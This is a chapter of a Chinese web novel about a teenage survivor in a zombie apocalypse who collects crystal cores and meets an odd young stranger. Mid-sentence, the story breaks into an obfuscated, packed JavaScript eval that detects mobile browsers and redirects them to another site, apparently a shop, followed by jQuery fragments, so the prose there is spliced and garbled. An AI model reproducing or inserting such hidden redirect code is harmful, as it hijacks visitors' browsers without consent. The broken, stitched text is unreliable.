孟洝面无表情地站在原地,看着几个不靠谱的队友又开始了浪费各自生命的活动,深深叹了口气。
……
大雪持续的第五十天,孟洝已经被练习册折磨得奄奄一息,他抬起无神的双眼,阴郁地看向窗外细碎的雪花。
为什么?为什么都末世了我还要学这种东西!啊啊啊啊啊救命呐——
陈学长坐在对面,眼神玩味,懒懒抛出一句:“小孟同学,刚刚那道导数题做完了吗?”
孟洝恹恹地转过头,神情恍惚。
“到底什么时候停雪……?”
……
大雪落下的第六十五天,苍劲沉稳的男声带着电流响起,“经过京城基地现存气象研究所观测……大雪将于四天后渐停……请各位幸存者……”
“今日物资空投坐标如下:东经……北纬……”
“重复……”
这台破旧的收音机顽强地撑了这么多天,每日兢兢业业地播报信息,不知道是不是几个人天天做法起了作用……
孟洝略显心虚地咽了一下,他是永远也不会告诉别人祭坛(插着三根意面放在收音机前的碗)旁边地板上的清水是他洒的,嗯,鬼迷心窍……
……
大雪落下的第七十二天,孟洝眼神沉凝,将铁棍捅进了丧尸的颅脑里搅吧搅吧,丧尸抽搐了几下彻底不动了。
他疑惑地“嗯”了一声,感受到手下有种某股陌生的阻力,他扒拉了一下,发现一个晶莹剔透的小东西埋在脏污的组织中,在黑红的血泊里泛着梦幻般的幽蓝光泽。
颜色有点眼熟……孟洝一愣,想起来几个月前那片灿金与幽蓝交织的梦境。
……
“这不就是晶核吗?”陈行泽拿着那个冲洗干净的小东西,对着墙上琥珀色的小灯郑重其事地看了看。
学长居然知道这么多这正常吗……孟洝陷入了沉思。
似是看出少年眼中明晃晃的疑惑,陈行泽淡定地微微一笑,“难道你没看过末日片吗?”
孟洝……孟洝无语倒地。
-
少年微微叹息,这鸡飞狗跳的、漫长的三个月,终于是过去了。
回想起知识的折磨和陈行泽美其名曰帮你探索异能的训练,以及谢三望不分场合的落井下石和巨大动静,以及石韫玉难吃得人神共愤的惊人厨艺和炸房壮举,孟洝忍不住热泪盈眶。
少年为何叹息呦!
孟洝望着因积雪融化逐渐重现真容的世界,挤出一个疲惫中混合辛酸与无奈的微笑。
“行,今天就到这里,回去了!”
“嗯。”
几道身影渐渐远了,在冰雪渐融的景象里留下四个小黑点。
“今天谁做饭?”
“我。”
“……那太可怕了。”
13. 奇怪的人
今日要闻速递(注:本台由孟同学友情播报)
你好,很不高兴为你播报,这里是孟洝,现在是停雪的第三天,我们可以看到那个花坛里的雪只剩一半了,哦那个被某人折磨过的观景湖里的厚冰也化掉了,没错气温上升得非常快如同坐了火箭一样现在大概有……有15度,是一个老少皆宜,人与丧尸都很喜欢的温度呢我们可以看到这里也是有个异常敏捷的——我X!
孟洝侧身避过这只过于灵巧和热情的青白色爪子,下颚紧绷,反手就是一斧呼在了丧尸的脸上,小臂用力时带出利落的线条。
丧尸丑陋的脸和坚硬的颅骨如同泥巴般陷了下去,整个身体也被这巨大的力道带倒,重重砸在了地面上。
孟洝用斧子熟练地扒出来一个亮晶晶的东西,擦了擦放进衣服旁边挂着的小袋里,尽管第一次杀丧尸时孟洝差点吐了,午夜梦回时还能想起那青面獠牙的相貌从床上弹坐起来,但经过这么多次厮杀,孟洝已经心硬如铁,能够快速而干净地送走一只丧尸了。
孟洝抬起自己沾了点黄黄红红不明固液混合物的手,面无表情地盯了两秒,随后迅速往侧腰上的布料抹了一把。
嗯反正回去可以洗衣服……
在经过为期两周半的如何优雅地控制异能和智斗丧尸小妙招特训后,陈老师大手一挥,表示孟洝已经是一个合格的战士了,可以独自出门杀丧尸了!
于是就有了孟洝在离家三百米范围内的实战演练(因为韫玉姐的符生效范围是三百米,孟洝为靠谱的韫玉姐点了个赞),他早上出门的时候,陈行泽挥舞着小手绢(其实是纸巾),泪眼汪汪地送孟洝出了门,还往他兜里塞了满满一兜椰果味能量棒。
陈行泽当时双眼闪亮郑重其事道,“万一打不过了还能吃饱再——”
话音未落就被石韫玉忍无可忍一剑重重戳在腰腹上,他捂着肚子虚弱微笑。
“我开玩笑的……”
谢三望自从雪停了天天在外面跑天野地自由飞翔,每天晚上带着满身的血污笑嘻嘻回来,在经历过陈行泽爱的电光教育后变成了带着一袋晶核满身血污笑嘻嘻回来,孟洝第一天晚上见到衣服上全是血宛如连环杀人犯站在门口的谢三望吓了一大跳。
顺带一提,那个粉红色的装晶核的小袋还是谢三望在下雪期间缝制的,上面还有个充满少女心的小花,孟同学震惊,孟同学麻木,孟洝觉得这个人不管再做出什么事情他都不会意外了,真的!
孟洝抬步沿着这条小道走,两侧是灰绿色的草木,他脑海中闪过了三天前的广播……
“这里是京城基地,经现存……科研所观测研究……大雪之后所有丧尸……及变异动植物体内出现……幽蓝色能量结核,我们将它命名为……”
“此外,这场灾难变异出的所有生命体……滋啦……大雪后……敏捷……攻击性显著提升……,请各位幸存者……防范……不要放弃……滋——”
基于此条,陈行泽认为他们应多多收集一些晶核,以备不时之需。于是孟洝便在打怪期间以各种尽量不上手的方式收集那沾着黄白液体的晶石。
“唉——”少年掐着腰长长地叹了一口气,继续向前走,小道尽头高大的梧桐在变异后更加郁郁葱葱,呈现出一种近乎妖异的翠绿,浓密的树叶簌簌抖动。
不对!没风叶子怎么会动!
孟洝猛地抬头,摇曳的枝桠间隐隐透出一块白色的布料,他凝神观察,发现那好像是……一个人?!
穿着件脏兮兮的亮红色卫衣,歪歪扭扭地卡在枝杈间,一动不动。衣服被树枝勾破了几处,露出里面红润光滑的皮肤,不知道是死是活。
好像不是丧尸……
孟洝用两只手紧紧握着斧头,放轻脚步小心翼翼靠近。
走到树下的时候,他看清了那人的脸,很年轻的样子,轮廓深邃,嘴唇微微发白,脸上有几道被树枝划出的红痕,即使狼狈也难掩俊美。
孟洝站在原地冷静地思考着,这人胸口还在起伏,应该还活着,要不要用学长给的能量棒砸一下看看呢,还是转身就走……
他正准备掏兜,树上的人茫然地扬起脸,似乎是刚睡醒,眼底还带着点水汽。他直直地跟孟洝对上了视线,整个人猛地一弹,脸上的表情惊悚中混杂着一丝……欣喜?
“啊啊啊啊啊——”
伴随着一声惨叫,那人从树上直直地掉了下来,孟洝条件反射地往旁边一闪。
“砰。”
那人结结实实地摔在地上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540245|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,扬起一片灰。他趴在地上咳了两声,清瘦的身躯微微颤动,然后他慢慢抬起头,看见了孟洝没什么情绪的脸。
一秒,两秒,三秒,他的眼睛哗地亮了起来,眸底闪过惊喜、难以置信、坚定等等一系列复杂的情感。
“你是孟洝!”
他几乎是弹起来的,以一种孟洝完全没反应过来的速度炮弹般冲到他面前,双手猛地握住孟洝的手,用力上下摇晃。
“孟洝!你是世界的希望!”
孟洝:“……”
“哈?!!”
-
“你谁?”
孟洝面无表情地试图挣脱这个陌生青年脏兮兮的爪子,却被一股难以置信的力量紧紧压制,动弹不得。
这人哪来的牛劲……?
“我认识你吗?”
“应该不认识吧——不对,你先别管我是谁——”那人激动得语无伦次,“总之,你很重要!超级重要!你是——”
他的声音突然卡住了,因为他面前原本满脸嫌弃的少年突然眼神一凛,越过他的肩膀看向了某个东西,脸色凝重。
娄青野眨巴眨巴眼,本能地回过了头,他喋喋不休的嘴震撼地张大了,剩下的话卡在喉咙里。
一只丑得人神共愤的变异生物正从灌木丛里探出头来。体型不大,大概跟三个篮球差不多,但形态诡异——像是几种节肢动物的某些部分被强行拼在一起,肢节的数目和位置都很奇妙。它的眼睛是一种浑浊的橙红色,里面还有密密麻麻的小眼珠,正直直地盯着他们。
“……哇。”娄青野的声音突然变得很轻。
孟洝已经趁机挣开了他的手,握紧斧头,声音压得很低:“能打吗?”
“大概。”
“有多少胜算?”少年绷紧了脸,严肃地转头看他。
娄青野沉吟片刻,缓缓开口:“三七开。”
孟洝眼里燃起一丝希望。
娄青野咧嘴一笑,尖尖的虎牙泛着傻气:“他三刀我七块。”
孟洝:“……”
“我不会替你收尸的。”
娄青野愣了一下,然后笑得更开心了:“行,那我争取死得好看点。”
——然后两人一起冲了上去。